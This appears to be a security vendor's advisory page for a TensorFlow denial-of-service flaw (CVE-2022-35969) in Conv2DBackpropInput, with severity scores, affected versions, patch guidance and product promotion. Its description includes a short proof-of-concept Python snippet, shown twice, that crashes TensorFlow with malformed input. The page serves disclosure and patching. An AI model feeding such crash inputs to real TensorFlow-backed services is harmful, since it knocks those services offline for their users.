How severe is GHSA-q2c3-jpmc-gfjx?

GHSA-q2c3-jpmc-gfjx has a CVSS score of 5.9/10, rated MEDIUM. Review your exposure and patch according to your risk tolerance.

Which packages are affected by GHSA-q2c3-jpmc-gfjx?

GHSA-q2c3-jpmc-gfjx affects the following packages: tensorflow (PyPI), tensorflow (PyPI), tensorflow (PyPI), tensorflow-cpu (PyPI), tensorflow-cpu (PyPI), tensorflow-cpu (PyPI), tensorflow-gpu (PyPI), tensorflow-gpu (PyPI), and 1 more. Ecosystems affected: PyPI.

How do I fix GHSA-q2c3-jpmc-gfjx?

Update tensorflow to 2.7.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-q2c3-jpmc-gfjx is resolved across your whole dependency graph.

How do I detect GHSA-q2c3-jpmc-gfjx in my PyPI dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for tensorflow. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-q2c3-jpmc-gfjx if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-q2c3-jpmc-gfjx?

O3 pinpoints whether GHSA-q2c3-jpmc-gfjx is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-q2c3-jpmc-gfjx actively exploited in the wild?

No public exploit code has been indexed for GHSA-q2c3-jpmc-gfjx yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for GHSA-q2c3-jpmc-gfjx?

GHSA-q2c3-jpmc-gfjx has an EPSS (Exploit Prediction Scoring System) score of 0.4%, placing it in the 28th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is GHSA-q2c3-jpmc-gfjx?

GHSA-q2c3-jpmc-gfjx is classified as Reachable Assertion (CWE-617). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

When was GHSA-q2c3-jpmc-gfjx published, and has it been updated?

GHSA-q2c3-jpmc-gfjx was published on September 16, 2022 and was last updated on November 28, 2024. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐍 PyPI

GHSA-q2c3-jpmc-gfjx

MEDIUM

TensorFlow vulnerable to `CHECK` fail in `Conv2DBackpropInput`

Also known asBIT-tensorflow-2022-35969CVE-2022-35969

Published

Sep 16, 2022

Updated

Nov 28, 2024

Affected

9 pkgs

Patched

9 / 9

Exploits

None indexed

EPSS Exploitation Probability

via FIRST.org ↗

0.4%probability of exploitation in next 30 days

Lower Risk28th percentile+0.30%

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

9 pkgs affected

🐍tensorflow🐍tensorflow🐍tensorflow🐍tensorflow-cpu🐍tensorflow-cpu🐍tensorflow-cpu🐍tensorflow-gpu🐍tensorflow-gpu+1 more

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Impact

The implementation of Conv2DBackpropInput requires input_sizes to be 4-dimensional. Otherwise, it gives a CHECK failure which can be used to trigger a denial of service attack:

import tensorflow as tf

strides = [1, 1, 1, 1]
padding = "SAME"
use_cudnn_on_gpu = True
explicit_paddings = []
data_format = "NHWC"
dilations = [1, 1, 1, 1]
input_sizes = tf.constant([65534,65534], shape=[2], dtype=tf.int32)
filter = tf.constant(0.159749106, shape=[3,3,2,2], dtype=tf.float32)
out_backprop = tf.constant(0, shape=[], dtype=tf.float32)
tf.raw_ops.Conv2DBackpropInput(input_sizes=input_sizes, filter=filter, out_backprop=out_backprop, strides=strides, padding=padding, use_cudnn_on_gpu=use_cudnn_on_gpu, explicit_paddings=explicit_paddings, data_format=data_format, dilations=dilations)

Patches

We have patched the issue in GitHub commit 50156d547b9a1da0144d7babe665cf690305b33c.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.

Affected Packages

9 total 9 fixed

Ecosystem	Package	Vulnerable range	Fix
🐍PyPI	`tensorflow`	all versions	2.7.2
🐍PyPI	`tensorflow`	≥ 2.8.0&&< 2.8.1	2.8.1
🐍PyPI	`tensorflow`	≥ 2.9.0&&< 2.9.1	2.9.1
🐍PyPI	`tensorflow-cpu`	all versions	2.7.2
🐍PyPI	`tensorflow-cpu`	≥ 2.8.0&&< 2.8.1	2.8.1
🐍PyPI	`tensorflow-cpu`	≥ 2.9.0&&< 2.9.1	2.9.1

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for tensorflow. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update tensorflow to 2.7.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-q2c3-jpmc-gfjx is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-q2c3-jpmc-gfjx is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-q2c3-jpmc-gfjx. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Impact The implementation of `Conv2DBackpropInput` requires `input_sizes` to be 4-dimensional. Otherwise, it gives a `CHECK` failure which can be used to trigger a denial of service attack: ```python import tensorflow as tf strides = [1, 1, 1, 1] padding = "SAME" use_cudnn_on_gpu = True explicit_paddings = [] data_format = "NHWC" dilations = [1, 1, 1, 1] input_sizes = tf.constant([65534,65534], shape=[2], dtype=tf.int32) filter = tf.constant(0.159749106, shape=[3,3,2,2], dtype=tf.float32) out_backprop = tf.constant(0, shape=[], dtype=tf.float32) tf.raw_ops.Conv2DBackpropInput(input_sizes=

O3 Security · Impact-Aware SCA

Is GHSA-q2c3-jpmc-gfjx in your dependencies?

O3 detects GHSA-q2c3-jpmc-gfjx across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

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